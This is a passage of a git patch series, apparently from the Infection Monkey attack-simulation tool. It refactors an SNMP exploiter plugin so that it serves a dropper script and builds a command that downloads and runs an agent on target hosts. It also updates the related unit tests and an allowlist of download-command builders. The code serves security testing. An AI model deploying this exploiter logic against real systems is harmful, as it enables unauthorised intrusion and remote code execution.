MONKEY_ARG, - "parameters": monkey_cmd, - "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, - "agent_otp": otp, - } - return f'-c "{command}"' + deploy_command = build_dropper_script_deploy_command(target_host, agent_download_url, otp) + return f'-c "{deploy_command}"' diff --git a/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py b/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py index 69c7a178819..684b95f17e0 100644 --- a/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py +++ b/monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py @@ -1,7 +1,8 @@ from logging import getLogger -from typing import Callable, Iterable, Sequence +from pathlib import PurePath +from typing import Callable, Iterable -from common.types import AgentID, Event +from common.types import Event from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.exploit.tools import HTTPBytesServer from infection_monkey.i_puppet import ExploiterResultData, TargetHost @@ -13,34 +14,31 @@ logger = getLogger(__name__) -AgentBinaryServerFactory = Callable[[TargetHost], HTTPBytesServer] +DropperScriptServerFactory = Callable[[], HTTPBytesServer] class SNMPExploiter: def __init__( self, - agent_id: AgentID, exploit_client: SNMPExploitClient, - agent_binary_server_factory: AgentBinaryServerFactory, + dropper_script_server_factory: DropperScriptServerFactory, otp_provider: IAgentOTPProvider, ): - self._agent_id = agent_id self._exploit_client = exploit_client - self._agent_binary_server_factory = agent_binary_server_factory + self._dropper_script_server_factory = dropper_script_server_factory self._otp_provider = otp_provider def exploit_host( self, host: TargetHost, - servers: Sequence[str], - current_depth: int, options: SNMPOptions, community_strings: Iterable[str], interrupt: Event, ) -> ExploiterResultData: try: logger.debug("Starting the agent binary server") - agent_binary_http_server = self._agent_binary_server_factory(host) + + agent_binary_http_server = self._dropper_script_server_factory() except Exception as err: msg = ( "An unexpected exception occurred while attempting to start the agent binary HTTP " @@ -52,10 +50,7 @@ def exploit_host( ) command = build_snmp_command( - self._agent_id, host, - servers, - current_depth, agent_binary_http_server.download_url, self._otp_provider.get_otp(), ) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py index d93307a32b0..88c6fd45302 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_command_builder.py @@ -7,14 +7,10 @@ from common import OperatingSystem from infection_monkey.i_puppet import TargetHost -from infection_monkey.utils.ids import get_agent_id AGENT_EXE_PATH = PurePosixPath("/tmp/agent") OTP = "123456" -AGENT_ID = get_agent_id() TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.LINUX) -SERVERS = ["127.0.0.1"] -DEPTH = 2 URL = "1.1.1.1/agent" @@ -22,10 +18,7 @@ def build_command(): def build(host: Optional[TargetHost] = None) -> str: return build_snmp_command( - AGENT_ID, host or TARGET_HOST, - SERVERS, - DEPTH, URL, OTP, ) @@ -39,13 +32,6 @@ def test_exception_raised_for_windows(build_command): build_command(host=host) -def test_servers(build_command): - command = build_command() - - for server in SERVERS: - assert server in command - - def test_otp_used(build_command): command = build_command() diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py index 5fe8b662b66..107a9c338b7 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploiter.py @@ -1,6 +1,7 @@ from ipaddress import IPv4Address +from pathlib import PurePath from threading import Event -from typing import Callable +from typing import Callable, Sequence from unittest.mock import MagicMock import pytest @@ -12,11 +13,8 @@ from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.exploit.tools import HTTPBytesServer from infection_monkey.i_puppet import ExploiterResultData, TargetHost -from infection_monkey.utils.ids import get_agent_id -AGENT_ID = get_agent_id() TARGET_IP = IPv4Address("1.1.1.1") -SERVERS = ["10.10.10.10"] DOWNLOAD_URL = "http://download.me" COMMUNITY_STRINGS = ["public", "private"] @@ -43,7 +41,7 @@ def mock_snmp_exploit_client() -> SNMPExploitClient: @pytest.fixture -def mock_start_agent_binary_server(mock_bytes_server) -> HTTPBytesServer: +def mock_start_dropper_script_server(mock_bytes_server) -> HTTPBytesServer: return MagicMock(return_value=mock_bytes_server) @@ -57,13 +55,14 @@ def mock_otp_provider(): @pytest.fixture def snmp_exploiter( mock_snmp_exploit_client: SNMPExploitClient, - mock_start_agent_binary_server: Callable[[TargetHost], HTTPBytesServer], + mock_start_dropper_script_server: Callable[ + [TargetHost, PurePath, Sequence[str]], HTTPBytesServer + ], mock_otp_provider: IAgentOTPProvider, ) -> SNMPExploiter: return SNMPExploiter( - AGENT_ID, mock_snmp_exploit_client, - mock_start_agent_binary_server, + mock_start_dropper_script_server, mock_otp_provider, ) @@ -75,8 +74,6 @@ def exploit_host( def _inner() -> ExploiterResultData: return snmp_exploiter.exploit_host( host=target_host, - servers=SERVERS, - current_depth=1, options=SNMPOptions(), community_strings=COMMUNITY_STRINGS, interrupt=Event(), @@ -95,9 +92,9 @@ def test_exploit_host__succeeds(exploit_host, mock_snmp_exploit_client, mock_byt def test_exploit_host__fails_if_server_fails_to_start( - exploit_host, mock_start_agent_binary_server, mock_bytes_server + exploit_host, mock_start_dropper_script_server, mock_bytes_server ): - mock_start_agent_binary_server.side_effect = Exception() + mock_start_dropper_script_server.side_effect = Exception() result = exploit_host() assert not mock_bytes_server.stop.called @@ -136,8 +133,6 @@ def test_exploit_attempt_on_all_community_strings( ): snmp_exploiter.exploit_host( host=target_host, - servers=SERVERS, - current_depth=1, options=SNMPOptions(), community_strings=COMMUNITY_STRINGS, interrupt=Event(), @@ -161,8 +156,6 @@ def test_exploit_attempt_skipped_on_interrupt( interrupt.set() snmp_exploiter.exploit_host( host=target_host, - servers=SERVERS, - current_depth=1, options=SNMPOptions(), community_strings=COMMUNITY_STRINGS, interrupt=interrupt, From 2e4a3ce71929702d80bae5e546c6d675badd827d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 16 May 2023 13:18:27 -0400 Subject: [PATCH 11/12] Agent: Raise NotImplementedError if Windows dropper script requested --- .../exploit/tools/http_agent_binary_server.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py index af22b1a631a..702e5d3b50d 100644 --- a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py +++ b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py @@ -1,6 +1,7 @@ from pathlib import PurePath from typing import Sequence +from common import OperatingSystem from common.types import SocketAddress from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.exploit.tools import HTTPBytesServer @@ -52,6 +53,9 @@ def start_dropper_script_server( if target_host.operating_system is None: raise ValueError("The operating system of the target host is unknown") + if target_host.operating_system is OperatingSystem.WINDOWS: + raise NotImplementedError("Windows is not supported, yet") + agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read() dropper_script = build_bash_dropper(destination_path, args, agent_binary) From 1624ace45fbcd74e9a3e2af42b11ad5df53820ef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 16 May 2023 13:21:32 -0400 Subject: [PATCH 12/12] Project: Add command builder utilities to vulture allow list --- vulture_allowlist.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index d96735e823e..e3a669346f2 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -16,6 +16,7 @@ from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell from infection_monkey.transport.http import FileServHTTPRequestHandler +from infection_monkey.utils import commands from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import IslandMode, Machine from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository @@ -145,3 +146,10 @@ SNMPResult.errorIndex SNMPResult.varBinds + +commands.build_agent_deploy_command +commands.build_agent_download_command +commands.build_command_windows_powershell +commands.build_download_command_linux_curl +commands.build_dropper_script_download_command +commands.download_command_windows_powershell